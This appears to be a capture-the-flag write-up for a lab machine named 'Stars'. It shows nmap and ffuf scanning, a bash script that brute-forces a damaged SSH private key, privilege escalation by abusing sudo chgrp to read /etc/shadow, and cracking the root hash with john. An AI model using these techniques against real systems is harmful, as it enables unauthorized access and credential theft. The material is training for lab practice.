Stars

Scannning and Fuzzing

Starting Nmap 7.92 ( [https://nmap.org](https://nmap.org/) ) at 2021-12-28 13:30 -03
Nmap scan report for debian (192.168.15.96)
Host is up (0.0040s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 9e:f1:ed:84:cc:41:8c:7e:c6:92:a9:b4:29:57:bf:d1 (RSA)
|   256 9f:f3:93:db:72:ff:cd:4d:5f:09:3e:dc:13:36:49:23 (ECDSA)
|_  256 e7:a3:72:dd:d5:af:e2:b5:77:50:ab:3d:27:12:0f:ea (ED25519)
80/tcp open  http    Apache httpd 2.4.51 ((Debian))
|_http-title: Cours PHP & MySQL
|_http-server-header: Apache/2.4.51 (Debian)
MAC Address: 08:00:27:00:E5:67 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at [https://nmap.org/submit/](https://nmap.org/submit/) .
Nmap done: 1 IP address (1 host up) scanned in 7.32 seconds

The cookie show us the file we looking for: poisonedgift.txt.

Accessing it, we found this private key:

ffuf -u <http://192.168.15.96/FUZZ.txt> -c -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 30

	sshnote                 [Status: 200, Size: 117, Words: 22, Lines: 5]

http://192.168.15.96/sshnote.txt

My RSA key is messed up, it looks like 3 capital letters have been replaced by stars.
Can you try to fix it?

sophie

Getting ssh access, thank you

#!/bin/bash

directory=keys
letters=dic.txt
file=id_rsa

mkdir $directory

for i in $(cat $letters); do
	echo generate $directory\\\\$i.rsa [$i]
	sed "s/\\*\\*\\*/$i/" $file > $directory/$i.rsa
done;

#!/bin/bash

directory=keys
letters=dic.txt

chmod 600 $directory/*

for i in $(ls -1 $directory/*); do
	echo $i
	ssh sophie@192.168.15.96 -i $i 2>/dev/null
done;

The right letters is BOM. So… BOOOM ehehe

user.txt 	->	a99ac9055a3e60a8166cdfd746511852

Privesc

sophie@debian:~$ sudo -l
User sophie may run the following commands on debian:
    (ALL : ALL) NOPASSWD: /usr/bin/chgrp

sophie@debian:~$ sudo /usr/bin/chgrp sophie /etc/shadow
sophie@debian:~$ cat /etc/shadow
root:$1$root$dZ6JC474uVpAeG8g0oh/7.:18917:0:99999:7:::

john passroot --wordlist=/usr/share/wordlists/rockyou.txt
barbarita        (?)

Now, just access login as root and pow bow tchau.

root.txt 	->	bf3b0ba0d7ebf3a1bf6f2c452510aea2

Stars

Scannning and Fuzzing

Getting ssh access, thank you

Privesc

Further Reading

Path

Hijacking

Visions

Trending Tags